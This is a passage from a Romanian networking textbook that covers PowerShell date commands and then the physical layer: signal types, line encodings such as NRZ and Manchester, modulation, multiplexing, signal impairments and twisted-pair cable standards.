2008) Y An de patru cifre b Numele prescurtat al lunii B Numele complet al lunii M Lun de dou cifre V Numrul sptmnii n intervalul 01..53 a Numele prescurtat al zilei sptmnii A Numele complet al zilei sptmnii u Numrul zilei sptmnii, ncepnd cu 1 corespunztor lui luni (Monday) d Ziua din lun n dou cifre j Ziua din an r Timpul n format de 12 ore T Timpul n format de 24 de ore p ante meridian (a.m.) sau post meridian (p.m.) H Ora n format de 24 de ore I Ora n format de 12 ore m Minute S Secunde

Calcularea datelor din trecut sau viitor se face tot prin metode aplicate lui Get-Date, ca n exemplele de mai jos. Se observ c scderea unitilor de timp se face prin aceleai metode, dar argumente negative:
(Get-Date).AddMonths(3) (Get-Date).AddHours(145) (Get-Date).AddYears(-2)

Setarea datei se face prin comanda Set-Date urmat de parametrul date i un ir ce descrie noua valoare. Poate fi folosit i n combinaie cu calcularea timpului n trecut sau viitor:
Set-Date -date "8/7/2008 12:00 AM" Set-Date (Get-Date).AddHours(3)

Calcularea intervalului de timp dintre dou evenimente este util n special pentru msurarea timpului de rulare a unui script i poate fi realizat ca n exemplul de mai jos:
$start = Get-Date

31 | C u p r i n s
<instruciuni> $stop = Get-Date $timediff = New-TimeSpan $start $stop Write-Host Scriptul a rulat + $timediff.milliseconds + " milisecunde."

0-12: Calcularea timpului de rulare a unui script Bineneles, n exemplul de mai sus se pot folosi i zile, ore, minute, secunde, ticks precum i alte proprieti n locul milisecundelor. Pentru a calcula prin intermediul unui TimeSpan timpul dintre momentul curent i o dat oarecare din prezent sau trecut, se poate folosi o comand cu sintaxa urmtoare:
New-TimeSpan $(Get-Date) $(Get-Date -month 1 -day 1 -year 2027)

Comanda Get-Date poate returna obiecte cu proprieti explicit specificate prin intermediul parametrilor ca month, day sau year. Utilizarea parantezelor este necesar n exemplul de mai sus deoarece se dorete evaluarea lor naintea transmiterii rezultatelor ca parametrii pentru comanda New-TimeSpan.

32 | R e e l e L o c a l e

1 Nivelul fizic
Ce se nva din acest capitol:
Tipuri de semnale folosite n reele de calculatoare Medii de transmisie Echipamente de reea

Cine este...
Alexander Graham Bell este un inventator i om de tiin eminent, creditat cu inventarea telefonului. n 1881, primele cabluri torsadate (twisted pair) au fost folosite n sistemele telefonice proiectate de Bell.

1.1 Semnale
La nivel fizic, unitatea de organizare a datelor este bitul. Biii pot fi reprezentai i transmii printr-un canal de comunicaie cu ajutorul semnalelor. Rolul fundamental al nivelului fizic este acela de a transforma semnalul n bii. tiind c la nivel fizic se lucreaz doar cu semnale, sunt importante mijloacele prin care biii pot fi transportai ct mai eficient. n cele ce urmeaz vor fi prezentate diverse tehnici i dispozitive ce fac posibil optimizarea transferului de bii printr-un canal fizic.

1.1.1 Tipuri de semnale

1.1.1.1 Semnale analogice i digitale


La nivelul cel mai general, un semnal este un fenomen fizic msurabil, care variaz n spaiu i/sau timp, utilizat pentru a transmite informaie. Semnalele pot fi continue sau discrete. De asemenea, o clasificare frecvent a semnalelor este cea analogic/digital. Semnalele digitale sunt discrete i cuantizate adic pot fi reprezentate prin numere cu un anumit nivel de precizie prestabilit. Semnalele analogice sunt continue i, teoretic, ar putea fi reprezentate prin numere doar cu un nivel infinit de precizie (cu un numr infinit de zecimale). Semnalele analogice, cel mai adesea, sunt cele ntlnite n natur, cum ar fi vocea uman, ciripitul psrilor, uieratul vntului etc. Atunci cnd sunt reprezentate grafic ele seamn cu nite valuri mai mult sau mai puin simetrice. Cel mai simplu exemplu de semnal analogic este o sinusoid (Figura Error! Reference source not found.). Semnalele analogice variaz continuu n timp i de aceea nu au treceri brute de la o valoare la alta: se mai spune c sunt wavy, adic unduioase . Semnalele digitale, cel mai adesea, sunt cele folosite n tehnic i au la baz dou valori logice, 0 i 1, care au fiecare cte o reprezentare n funcie de modul n care sunt transmise. Impulsurile digitale (0 sau 1 logic) se numesc bii. Transmisia digital este de multe ori de preferat celei analogice deoarece este mai puin afectat de zgomote, fiind deci mai robust. Datorit trecerilor brute de la o valoare la alta, se mai spune c este jumpy, adic sltrea. Semnalele digitale menin un nivel constant de tensiune sau intensitate luminoas, apoi trec pe alt nivel constant. Exemplul simplu de mai jos ilustreaz faptul c transmisia digital e mai puin afectat de zgomote. Fie o linie pe care se dorete transmiterea numrului 7. Dac transmisia este analogic, se va transmite practic o und, n exemplu de fa amplitudinea fiind de 0,7 (dac sar fi dorit transmiterea numrului 5, ar fi trebuit folosit o amplitudine 0,5, etc). Dac acea linie este afectat de interferene electromagnetice cu amplitudinea de 0,2, atunci la recepie

33 | N i v e l u l f i z i c

se va citi 0,9, adic numrul 9. Transmisie eronat! Dac n schimb se folosete transmisia digital, va trebui convertit 7 n binar, iar numrul 111 va fi transmis digital. Transmisia poate avea 2 valori: spre exemplu, 0 logic ntre amplitudinile 0,1 i 0,4 i 1 logic ntre 0,8 i 1. Dac se dorete transmiterea lui 1 logic de 3 ori, practic vor fi transmise 3 impulsuri cu amplitudinea de 0,8. Dac la ele se adaug interferenele prezente pe linie, la cellalt capt vor fi citite 3 impulsuri de amplitudine 1, ceea ce nseamn tot 1 logic. Transmisie corect! Este adevrat c exist numeroase cazuri n care datorit interferenelor prea mari se emite 0 i se recepioneaz 1 sau invers, ns, n comparaie cu transmisia analogic, cea digital este mult mai precis i mai robust. Tipurile de semnale discutate mai jos sunt n marea lor majoritate digitale (acestea sunt cele mai folosite n reele de calculatoare); atunci cnd este vorba despre semnale analogice, acest lucru va fi precizat explicit.

1-1: Exemplu de semnal analogic i digital Trebuie fcut distincia ntre tipul semnalului i tipul datelor transmise folosind acel semnal. La rndul lor, i datele se mpart n analogice sau digitale. Datele analogice sunt valori continue din cadrul unui interval (exemplu: sunetele din natur, nlimea unei coloane de mercur din termometru). Datele digitale sunt valori discrete (exemplu: un fiier text, cifrele afiate pe ecranul unui termometru digital). Un caz n care date analogice, cum ar fi vocea, sunt transmise printr-un semnal analogic, este cel al telefonului clasic. De obicei, pentru datele digitale se folosesc semnale digitale. Dac ns, se dorete transmiterea de date digitale printr-un mediu analogic, trebuie folosit un modem. Acesta preia datele digitale de transmis i le moduleaz, rezultnd un semnal analogic. La recepie, aplicnd procesul invers, demodularea, asupra semnalului analogic citit de pe mediu se obin datele digitale.

34 | R e e l e L o c a l e

Date Date analogice (ex: voce) Date digitale (ex: text) Date analogice Date digitale

Dispozitiv

Semnal Semnal analogic Semnal analogic Semnal digital

telefon modem

codec digital transceiver

Semnal digital

1-2: Date analogice/digitale, semnal analogic/digital Tehnologia Voice over IP permite transferul datelor analogice prin semnale digitale. Codificarea datelor se poate face software sau direct hardware.

1.1.1.2 Clasificarea semnalelor n funcie de modul de transmisie


n funcie de natura generatorului de semnal i a mediului n care se propag, semnalele pot fi mprite n trei categorii:

1.1.1.2.1 Semnale electrice


Semnalele electrice constau n impulsuri electrice ce folosesc ca suport pentru transmisie fire de cupru.

1.1.1.2.2 Semnale optice


Semnalele optice se obin prin conversia semnalului electric n impulsuri luminoase care sunt transmise apoi printr-o fibr optic.

1.1.1.2.3 Unde electromagnetice (unde radio, microunde)


Semnalele wireless (fr fir) se propag prin aer, sub form de unde radio sau microunde.

1.1.2 Codarea
De-a lungul timpului au existat numeroase forme de transport al informaiei pe distane lungi. Fiecare dintre aceste metode avea o anumit form de codare a informaiei. De exemplu, indienii apache fceau un foc mare pe un deal i cu ajutorul unei pturi formau rotocoale de fum. O variant de codare folosit ar putea fi: 3 rotocoale de fum nseamn c este vnat mult prin zon, 4 rotocoale mari i dou mici nseamn c vine furtuna, etc. Apariia codului Morse a revoluionat la vremea respectiv comunicaiile: fiecare liter avea propriul ei simbol format din semnale lungi i scurte. Procesul de transformare a informaiei ntr-un semnal ce poate fi transportat pe un canal fizic se numete codare. Transmiterea informaiei n reelele de calculatoare presupune aplicarea mai multor procese de codare la diferite niveluri ale stivei OSI precum segmentarea datelor, comprimarea datelor sau criptarea. Desigur, pentru a transmite informaia, aceasta trebuie

35 | N i v e l u l f i z i c

convertit ntr-un semnal digital binar. La nivelul fizic, pasul urmtor const n codarea semnalului binar ntr-un alt semnal adecvat mediului fizic precum variaii ale nivelului de tensiune ntr-un cablu de cupru, sau variaii ale luminozitii ntr-o fibr optic. Mai jos sunt prezentate cteva metode de codare ale semnalelor binare n semnale fizice.

1.1.2.1 Sincronizarea cu ceas


1.1.2.1.1 NRZ-L
n codarea Non-Return-to-Zero Level valoarea 1 logic este transmis ca o tensiune joas (de obicei negativ, de exemplu ntre -12V i -5V) iar 0 logic ca un nivel de tensiune nalt (pozitiv, de exemplu ntre 5V i 12V). n reprezentarea unui ir de bii nivelul semnalului urmrete starea bitului. Un dezavantaj important al acestei metode de codare este riscul crescut de pierdere a sincronizrii la receptor. Transmiterea unei secvene de date ce conine un numr mare de bii consecutivi cu aceeai valoare presupune meninerea tensiunii mai mult timp pe acelai nivel, iar n cazul desincronizrii, numrul biilor recepionai poate fi eronat.

1.1.2.1.2 NRZI
n codarea Non-Return-to-Zero Inverted valoarea semnalului trece de pe un nivel pe altul doar atunci cnd n irul de bii apare valoarea 1 logic. Ca exemplu, dac n starea curent semnalul se afla pe nivelul de tensiune joas, la apariia unui bit de valoare 1, va trece pe tensiune nalt. Apariia unuia sau mai multor bii de 0 nu schimb n niciun fel nivelul de tensiune. Acesta va reveni la tensiune joas doar pentru a reprezenta urmtorul bit de 1 ntlnit n ir.

1.1.2.2 Sincronizarea fr ceas


1.1.2.2.1 Manchester
Codarea Manchester folosete pentru reprezentarea fiecreia dintre cele dou valori logice cte o tranziie ntre nivelurile de tensiune. Astfel, o trecere sus-jos codific un bit 0, n timp ce un bit 1 este codificat printr-o trecere jos-sus. Tranziiile au loc la mijlocul celulei de bit, ceea ce nseamn c, dac se pierde sincronizarea, pot fi folosite att ca date ct i ca semnal de ceas. De exemplu, dac este folosit codarea NRZ-L i trebuie transmii 20 de bii de 1 logic, atunci ar fi necesare 20 de impulsuri de tensiune -5V. S-ar putea ns ca la recepie, datorit tuturor fenomenelor discutate pn acum, s fie citii 18 bii sau 21 de bii. Folosind codarea Manchester, unde fiecare bit e o tranziie, sunt trimise practic mai multe impulsuri electrice, ns la recepie vor fi citite tot 20 de tranziii. Codarea Manchester este utilizat n cadrul standardului IEEE 802.3 (Ethernet).

1.1.2.2.2 Manchester diferenial


Manchester diferenial este o metod de codare n care datele sunt combinate cu semnalele de ceas pentru a forma un ir de date cu autosincronizare. Aceast metod folosete tranziia din mijlocul celulei de bit doar ca i semnal de ceas. Pentru a reprezenta 1, prima jumtate a celulei de bit curente este egal cu ultima jumtate a bitului precedent. Pentru a codifica 0, se inverseaz nivelul de tensiune existent n cea de-a doua jumtate a semnalului anterior. Cu alte cuvinte, un bit 0 este reprezentat printr-o tranziie la nceputul celulei de bit, absena acestei tranziii semnificnd 1 logic. Manchester diferenial este utilizat n cadrul standardului 802.5 (Token Ring).

36 | R e e l e L o c a l e

Pentru exemplificare, n figura 1-3 este reprezentat codarea caracterului K n cele patru variante discutate. Caracterul A n hexazecimal are valoarea 0x41. Cum litera K se afl la o distan de 10 litere de A, nseamn c reprezentarea lui K n hexa este 0x4B. A = 0x41, B = 0x42, ..., I = 0x49, J = 0x4A, K = 0x4B Reprezentarea binar: 4(16) = 4(10) = 0100(2) B(16) = 11(10) = 1011(2) Reprezentarea binar pentru litera K este 0100 1011.

clock

date 0 1 0 0 1 0 1 1 NRZ - L

NRZI

Manchester

Manchester diferenial

1-3: Metode de codare


1. Codarea NRZ-L - dac un bit este 1, semnalul este pe nivelul de tensiune joas, dac bitul este 0, semnalul trece pe tensiune nalt 2. CodareaNRZ-I - semnalul schimb nivelul de tensiune doar cnd urmeaz un bit 1. 3. Codarea Manchester 0 este codificat ca o tranziie sus-jos, 1 ca tranziie jos-sus 4. Codarea Manchester diferenial - Tranziia de la nceputul semnalului indic un bit 0.

1.1.3 Modularea
Modularea se refer la modificarea unui semnal folosind un alt semnal. ntr-o transmisie radio semnalul cu ajutorul cruia este transportat informaia este o und, de exemplu o sinusoid. Transmitorul emite n permanen o sinusoid (caracterizat de amplitudine, frecven i faz) cu toi parametrii constani. n acest caz, cantitatea de informaie este nul, adic pe aceast sinusoid nu este transmis niciun fel de informaie util. n momentul n care ncepe transmisia datelor, semnalul util de date, adic biii, sunt folosii pentru a varia parametrii sinusoidei. Cu alte cuvinte, datele - adic biii se reprezint prin modificri ale

37 | N i v e l u l f i z i c

sinusoidei iniiale. Cum, sau mai exact, ce trebuie modificat la sinusoid? Pot fi modificai urmtorii parametri:
amplitudinea: modulare AM - amplitude modulation; frecvena: modulare FM - frequency modulation; faza: modulare PM - phase modulation.

Modularea este procesul de compunere a unei unde purttoare cu un set de date.

1-4: Modulare n amplitudine (AM), frecven (FM), faz (PM) Desigur, exist forme mult mai avansate de modulare, ns cele trei prezentate mai sus reprezint bazele modulrii semnalelor. Datele din calculator fiind digitale, pentru orice fel de comunicaie trec prin procesul de codare. Dac mediul de transmisie folosit este tot digital (de exemplu cablu UTP), datele sunt puse direct pe mediu, fr a mai fi nevoie de modulare. Pentru transmisiile pe legturi seriale sau pe cablu coaxial va fi folosit att codarea ct i modularea.

1.1.4 Multiplexarea
Multiplexarea este procedeul prin care mai multe canale de date sunt combinate ntr-un singur canal fizic. Demultiplexarea este procesul invers multiplexrii, de separare a canalelor iniialedin canalul fizic . Exist numeroase tehnici de multiplexare, ntre care se numr:
TDM (Time Division Multiplexing): informaiilor din fiecare canal de date li se aloc o cuant de timp predefinit, indiferent dac pe acele canale se transmite sau nu. ATDM (Asynchronous time-division multiplexing): informaiilor din fiecare canal de date li se aloc o cuant de timp variabil, n funcie de numrul de canale utilizate n acel moment. FDM (Frequency Division Multiplexing): fiecare canal primete o anumit band de frecven. Statistical multiplexing - Banda este alocat n mod dinamic fiecrui canal care are informaii de transmis. DWDM (Dense Wavelength Division Multiplexing) este o form de multiplexare dezvoltat pentru transmisia pe fibr optic. DWDM este echivalentul optic al multiplexrii FDM.

38 | R e e l e L o c a l e

Aceste tipuri de multiplexri se refer la mrimea fizic ce st la baza separaiei canalelor. De exemplu, n cazul multiplexrii TDM, fiecrui canal de comunicaie i se aloc o cuant de timp, iar n cazul FDM, fiecrui canal i se aloc o anumit band de frecven.

1.1.5 Caracteristici ale semnalului

1.1.5.1 Latena
Latena, numit i ntrziere, este de dou tipuri: latena propagrii prin mediul de transmisie i latena trecerii prin echipamentele de reea. Primul tip de laten este dat de viteza de propagare a semnalului n mediul de transmisie specific i de distana ntre surs i destinaie. De exemplu, pentru o transmisie prin mediul electric viteza de propagare a semnalului este aproximativ dou treimi din viteza luminii. Aceasta nseamn c un impuls electric va parcurge un segment de reea de 100 m n 100 0,5 10 6 secunde. 2 ( 3 10 8 ) 3 A doua surs a latenei o reprezint echipamentele de reea folosite pe parcurs. Fiecare echipament execut operaii specifice, de la redresarea semnalului electric, pn la determinarea cii optime pe care trebuie trimis fiecare pachet. Latena dispozitivelor de interconectare variaz de la cteva microsecunde n cazul hubului i a convertoarelor de mediu, pn la milisecunde n cazul comutatoarelor i a routerelor. Astfel, comparativ cu latena introdus de un repetor Ethernet, de aproximativ 5,6 microsecunde, latena mediului de conectare este cu un ordin de mrime mai mic. Latena propagrii este n general semnificativ mai mic dect latena dispozitivelor de interconectare, astfel nct deseori este considerat drept neglijabil. Cu toate acestea, exist cazuri n care latena propagrii este factorul principal al ntrzierii totale a unui semnal, cel mai relevant exemplu fiind cel al comunicaiilor prin satelit. Folosirea sateliilor geostaionari face ca drumul total ntre surs i destinaie s fie de peste 75.000 km, aducnd latena total a oricrei transmisiuni n jurul valorii de 0,5 secunde.

1.1.5.2 Atenuarea
Atenuarea este un termen general care se refer la reducerea puterii unui semnal. Atenuarea are loc indiferent de tipul de semnal, analogic sau digital. Numit uneori i pierdere (loss), atenuarea este o consecin a transmiterii semnalului la distane mari. Atenuarea afecteaz reelele de calculatoare deoarece limiteaz distana maxim ntre dispozitivele acesteia. Dac distana este prea mare, din cauza atenurii, la destinaie nu se va mai putea interpreta semnalul corect.

1-5: Atenuarea semnalului

39 | N i v e l u l f i z i c

Pentru transmisia la distane mai mari dect permite tipul de cablu utilizat se folosesc anumite dispozitive, numite repetoare, care regenereaz semnalul (din punct de vedere electric, optic sau wireless). Atenuarea afecteaz toate tipurile de medii de transmisie, ns are valori diferite pentru fiecare mediu n parte. De exemplu, un semnal electric transmis pe un fir de cupru se atenueaz mai repede dect un semnal optic (transmis pe o fibr optic). Atenuarea n general se msoar n decibeli (dB), iar atenuarea specific unui anumit tip de cablu se msoar n decibeli/metru sau decibeli/kilometru. Fiecare tip de cablu are o atenuare specific. Cu ct aceast atenuare este mai mic, cu att acel cablu este considerat mai bun. Atenuarea este un factor foarte important de luat n calcul n cazul proiectrii reelelor de fibr optic. Echipamentele de fibr optic garanteaz o anumit distan (specificat n cartea tehnic), ns aceast distan este garantat pentru o fibr optic cu o anumit atenuare / km (specificat tot n cartea tehnic). Dac se folosete o fibr optic cu o atenuare mai mare, atunci distana maxim garantat va fi mai mic. Dac ns se folosete fibr optic de o mai bun calitate, transmisia va fi corect i la distane mai mari dect cea specificat. Cum se determin distana maxim posibil pentru o transmisie? Echipamentele impun o anumit valoare a atenurii care nu trebuie depit. Se poate considera c:

1.1.5.3 Reflexia
Reflexia are loc de obicei atunci cnd un semnal ntlnete o linie de separaie ntre dou medii. Atunci, o anumit parte din semnal se reflect napoi n mediul din care a venit i o parte trece n mediul urmtor. Reflexia poate aprea n cazul semnalelor electrice cnd, de exemplu, impulsurile electrice sau biii ntlnesc o discontinuitate, moment n care o anumit parte din energia semnalului se reflect. Dac nu este controlat, aceast energie poate interfera cu biii transmii mai trziu. Milioane de bii sunt transmii n fiecare secund, iar aceast energie reflectat poate duce la multe transmisii nereuite. Un exemplu este o reea pe cablu coaxial care are nevoie de un terminator la fiecare capt. Dac nu ar avea acest terminator, la captul cablului ar aprea o linie de separare ntre cele dou medii (aer i cupru), iar o parte din energie s-ar reflecta napoi n firul de cupru. Reflexia poate avea loc i n cazul sistemelor optice. Un semnal optic se reflect ori de cte ori ntlnete o discontinuitate n fibra de sticl, ca de exemplu atunci cnd se ataeaz un conector. De aceea este necesar o pregtire special n cazul atarii conectorilor de fibr optic, pentru a nu permite reflexia luminii napoi n fibr.

1.1.5.4 Zgomotul
Zgomotul este o cantitate de energie nedorit (electric, electromagnetic sau radio) care poate degrada calitatea semnalului transmis. Zgomotul afecteaz att transmisiile analogice ct i cele digitale. n cazul semnalelor analogice, semnalul devine bruiat i uor deformat. Un exemplu este o convorbire telefonic pe care se aude un zgomot de fond. n sistemele digitale, zgomotele afecteaz valorile biilor transmii (0 sau 1), la destinaie acetia putnd fi interpretai greit (adic 1 n loc de 0 i invers). Zgomotul poate avea mai multe cauze: cmpurile electrice provenite de la motoare electrice, lumina fluorescent (neoane), etc. - toate provenite de la surse exterioare cablului afectat. Acest tip de zgomot se numete EMI (Electromagnetic Interference - Interferen

40 | R e e l e L o c a l e

Electromagnetic) dac provine de la surse electrice sau RFI (Radio Frequency Interference Interferen Radio) cnd provine de la surse radio, radar sau microunde. Zgomotul mai poate proveni de la liniile de curent alternativ sau de la fulgere. Fiecare fir dintr-un cablu poate aciona ca o anten. Cnd acest lucru se ntmpl, firul practic absoarbe semnale electrice din celelalte fire din cablu sau din surse electrice exterioare cablului. Dac zgomotul electric rezultat atinge un nivel destul de nalt, poate deveni foarte dificil sau chiar imposibil pentru echipamentul de la cellalt capt s disting semnalul de zgomot.

1-6: Efectul zgomotului Un sistem de transmisie poate fi afectat de unele dintre aceste tipuri de zgomot i imun la altele. De exemplu, transmisia optic este imun la interferenele electrice, deoarece semnalul purtat nu are natur electric, ci optic. Acest lucru le face ideale pentru legturile din exteriorul cldirii, unde transmisia pe firele de cupru ar putea fi influenat de fulgere, cmpuri electrice din alte surse, etc.

1.1.5.5 Crosstalk
Cablurile de cupru sunt afectate de interferene electromagnetice de la diferite surse din afara cablului. Totui, cea mai important surs de zgomot pentru cablurile de cupru o reprezint efectul numit crosstalk: interferena semnalelor ntre dou fire din interiorul aceluiai cablu. Una dintre cele mai eficiente metode de prevenire a efectului de crosstalk este torsadarea firelor. Prin torsadare, cmpurile electrice se anuleaz i firele din celelalte perechi nu mai sunt influenate de semnalul din perechea iniial. De multe ori apar ns probleme la ataarea conectorilor. Dup cum se va vedea n studiul de caz din acest capitol, atunci cnd se dorete ataarea unui conector la captul unui cablu trebuie nti detorsadate toate perechile din interiorul cablului. Dac se las o bucat prea mare detorsadat, n acea zon cmpurile electrice generate de fiecare fir dintr-o pereche nu se vor mai anula i va aprea o interferen ntre fire, numit NEXT (Near-End Crosstalk). Acest parametru, NEXT, este specific fiecrui cablu. Cu ct un cablu este terminat (adic mufa este sertizat) cu mai mult atenie, cu att efectul NEXT va fi mai mic. Valoarea maxim a parametrului NEXT este specific fiecrei categorii de cablu (Cat3, Cat5, Cat6): cu ct categoria este mai mare, cu att interferena NEXT trebuie s fie mai mic (adic se impune o calitate mai ridicat a sertizrii cablurilor). Terminarea cu grij a cablurilor este cea mai important metod de prevenire a efectului de crosstalk.

41 | N i v e l u l f i z i c

1.2 Soluii de comunicaie pe cupru


1.2.1 Cablul coaxial
Reele de cablu coaxial au avut perioada de impact maxim la jumtatea anilor `90. Odat cu apariia mediilor torsadate (UTP, STP) popularitatea lor a nceput s scad. Dei ofer o mai bun ecranare i permit distane mai mari, mediul coaxial este unul analogic, spre deosebire de mediul torsadat unde transmisia se realizeaz digital. Eliminarea etapelor de conversie digital-analogic au permis costuri mai reduse pentru echipamentele de reea destinate reelor bazate pe UTP. n plus, folosirea unor perechi distincte pentru transmisie i recepie fac din UTP un mediu de comunicaie full-duplex, spre deosebire de reelele bazate pe medii de transmisie coaxiale. Reelele de date bazate pe cablu coaxial mai pot fi nc ntlnite n cazul unor mici reele de cartier, dar n ultimii ani acestea au devenit extrem de rare.

1.2.2 Cablul torsadat


Cablul torsadat este format din mai multe fire de cupru izolate, avnd o grosime tipic de 1mm, mpletite dou cte dou (torsadate). Majoritatea cablurilor torsadate folosite pentru reele locale conin opt fire, aadar, patru perechi. Rsucirea firelor dintr-o pereche este necesar pentru anularea efectului de anten caracteristic liinilor lungi. Acest efect ar produce interferene electrice, ceea ce ar conduce la pierderi de date.

1-7: Cablu UTP Pe lng interferenele cauzate de cmpurile electrice induse de alte fire din interiorul aceluiai cablu, pot aprea i interferene din surse exterioare cablului (de exemplu: existena unui motor electric n apropiere, sau, pentru cablurile aflate n exteriorul cldirilor, descrcrile electrice din atmosfer). O metod prin care se ncearc reducerea la minim a interferenelor exterioare este transmiterea diferenial. Transmiterea diferenial, sau transmiterea n mod balansat, presupune ca semnalul util transmis s reprezinte diferena dintre semnalele electrice de pe cele dou fire ale unei perechi. Astfel, dac apar interferene electrice de la surse exterioare cablului, acestea vor afecta ambele fire n mod egal, diferena dintre semnale rmnnd constant. O alt metod de prevenire a interferenelor exterioare este ecranarea cablurilor. Ecranarea presupune existena unui nveli format dintr-o plas sau o foi metalic ce are rol de cuc Faraday. Din punct de vedere al ecranrii, exist dou feluri de cabluri torsadate: ecranate (shielded) i neecranate (unshielded). Cele neecranate se numesc UTP (unshielded twisted pair) i sunt cele mai folosite n cadrul reelelor locale de calculatoare, fiind, de altfel, i cele mai ieftine. Dezavantajul cablurilor UTP este c nu pot fi folosite n exteriorul cldirilor, deoarece ar fi supuse unor posibile ocuri electrice foarte mari, ce ar duce la defectarea echipamentelor conectate. De aceea, n exteriorul cldirilor se folosete, n general, cablu ecranat: ScTP (screened twisted pair), STP (shielded twisted pair) sau S/STP (screened shielded twisted pair). ScTP, numit i FTP (foiled twisted pair), are un singur nveli de ecranare exterior i este doar cu puin mai gros dect UTP. Cablul STP are, pe lng nveliul de ecranare identic cu cel de la

42 | R e e l e L o c a l e

ScTP, cte un nveli separat pentru fiecare pereche. Acest lucru l face mult mai rezistent la interferene, dar i mult mai scump. n plus, fiind mai rigid, este i ceva mai greu de manevrat.

1-8: Cablu STP Din punct de vedere al maleabilitii, cablurile torsadate se mpart n solide i liate. Cele solide au n interiorul fiecruia dintre cele opt fire ale cablului cte un singur fir de cupru de aproximativ 1mm, spre deosebire de cele liate, la care fiecare fir este format dintr-o mulime de fire foarte subiri, numite lie. Cablurile liate sunt aadar mai flexibile, fiind potrivite pentru cablrile orizontale (de la priza de perete pn la staia utilizatorului), n timp ce cablurile solide sunt folosite la cablrile verticale (acolo unde este nevoie, de obicei, de cabluri rigide).

1-9: UPT solid i liat

1.2.2.1 Standarde pentru medii torsadate


Colecia IEEE 802.3 cuprinde standardele ce definesc nivelul fizic i subnivelul MAC al nivelului legtur de date pentru Ethernet. Este definit cte un standard pentru fiecare tip de mediu de transmisie folosit. Astfel, n aceast colecie se regsesc, printre altele, standardele pentru cablu UTP, standardele pentru Ethernet pe cablu coaxial (10BASE5, 10BASE2), Ethernet prin fibr optic (10BASE-F, 100BASE-FX, etc) sau descrierea tehnologiei PoE (Power over Ethernet). Standardul ce conie cerinele pentru transmiterea a 10Mbit/s pe cablu UTP este standardul 10BASE-T. n mod similar, pentru 100 Mbit/s i 1000 Mbit/s (1 Gbit/s) exist 100BASE-T, respectiv 1000BASE-T (numit i Gigabit Ethernet). Numele standardului deriv din unele aspecte legate de mediului fizic: Numrul reprezint viteza maxim teoretic exprimat n megabii pe secund. BASE este prescurtarea pentru baseband, ceea ce nseamn c fiecare fir este folosit ca un singur canal de comunicaie, pe care se transmite ntr-o singur

43 | N i v e l u l f i z i c

frecven. Cu alte cuvinte, nu se aplic nicio form de multiplexare. Litera de la sfrit reprezint tipul cablului, n acest caz, T nseamn torsadat (twisted). Aadar, 100BASE-T este o denumire generic pentru un standard care asigur o vitez de 100Mbit/s pe cablu torsadat. n particular, sunt definite trei forme : 100BASE-TX, 100BASE-T4 i 100BASE-T2. 100BASE-TX indic utilizarea unui cablu de categorie cel puin CAT5 i folosirea a 2 perechi de fire din cele 4. Sufixul T4 indic folosirea a 4 perechi pentru comunicaie. 100BASE-T4 i 100BASE-T2 nu se mai folosesc, fiind standarde nvechite. Toate aceste standarde opereaz pe segmente de cablu cu lungimi de maxim 100 de metri. n 2006 a fost publicat standardul 10GBASE-T pentru conexiuni de 10 gigabit/s prin cablu torsadat. 10Gigabit Ethernet suport doar legturi full-duplex, spre deosebire de celelalte trei standarde ce suport i comunicaii half-duplex. Dup cum s-a menionat la nceputul acestui capitol, cantitatea de informaie transferat ntre emitor i receptor este proporional cu frecvena semnalelor pe mediul de transmisie. n cazul semnalelor electrice, frecvena este dat de calitatea cuprului de a fi mai bun sau mai puin bun conductor de curent electric. Aceast calitate depinde de densitatea de impuriti caracteristic materialului. De aceea, exist mai multe categorii de cabluri, o categorie mai mare implicnd performane mai bune.

1.2.2.2 Categorii de medii torsadate


Categoriile de cabluri torsadate au fost definite n setul de standarde TIA/EIA-568-B de ctre asociaia american Telecommunications Industry Association (TIA). Acesta s-a dovedit a fi standardul cu cea mai larg acceptare n piaa productorilor de soluii pentru nivelul fizic.

1.2.2.2.1 UTP CAT1-4


Cablul ncadrat la categoria 1 (CAT1) este cel folosit n serviciile de telefonie clasic (POTS Plain Old Telephone Service) sau soneriile de la ui. Aceast etichetare este cumva improprie, ntruct setul de standarde TIA/EIA-568-B nu recunoate n momentul de fa dect categoriile 3, 5e, 6 i 6a. Standardul C3 a fost folosit n anii `90 pentru TokenRing i pentru Ethernet, ajungnd la viteze de pn la 10Mbit/s. Astzi, acesta este folosit n sistemele de telefonie i poate fi uor adaptat pentru Voice over IP (VoIP) ntruct viteza de 10Mbit/s pe care o ofer depete cu mult cerinele de 0,08Mbit/s ale unui telefon VoIP la ncrcare maxim. n plus, CAT3 este compatibil cu tehnologia Power over Ethernet (definit n standardul 802.3af PoE), tehnologie ce descrie un sistem prin care odat cu datele se transfer i energie electric, tocmai n scopul alimentrii anumitor aparate aflate la distan, precum telefoanele VoIP. Apariia standardului 100BASE-T4 a dus la creterea vitezei la 100Mbit/s prin utilizarea a 4 perechi de fire (i nu doar 2 cum prevedea standardul anterior), ceea ce a permis infrastructurilor mai vechi, deja existente, de cabluri CAT3 s ofere o lime de band mai mare. Cu toate acestea, utilizarea sa pentru comunicaiile de date a sczut odat cu apariia standardului CAT5. Standardul CAT4 oferea o frecven cu puin mai mare dect CAT3, 20MHz fa de 16MHz i era utilizat pentru o variant mbuntit a reelelor Token Ring.

1.2.2.2.2 UTP CAT5 i CAT5e


Specificaiile cablului de categoria 5, definite n TIA/EIA-568-B, indic o frecven maxim de 100MHz. CAT5 este folosit n special n reele de 100Mbit/s (FastEthernet), dar poate fi utilizat i pentru Gigabit Ethernet. Odat cu definirea n 2001 a CAT5e (enhanced) n TIA/EIA-568-B, specificaiile variantei originale CAT5 nu mai sunt recunoscute n aceste standarde.

44 | R e e l e L o c a l e

UTP CAT5e a devenit cel mai rspndit mediu de transmisie pentru reelele locale. Datorit performanelor mbuntite fa de versiunea original, i datorit unui pre mult mai mic dect al CAT6, CAT5e este cea mai potrivit alegere pentru infrastructura reelelor Gigabit Ethernet. Cu toate acestea, CAT5e menine recomandarea limitrii segmentelor de la cablu la 100 de metri, la fel ca i n cazul celorlalte tipuri de cabluri definite de TIA/EIA. Este de reinut faptul c standardul folosit pentru Gigabit Ethernet, 1000BASE-T, impune utilizarea a 4 perechi de fire torsadate, spre deosebire de versiunile anterioare (10BASE-T i 100BASE-T) care foloseau n comunicaie doar dou perechi. Aadar, standardul de Ethernet ales pentru infrastructur este cel care specific numrul de perechi necesare n comunicaie, i nu standardul de cablu. Categoria specific doar caracteristicile specifice cablului, precum: numrul de perechi existente, pasul de torsadare, diametrul firelor, parametrii NEXT, FEXT i, cel mai important, limita superioar de frecven. Astfel, un cablu CAT5e folosit pentru 100BASE-T (FastEthernet) 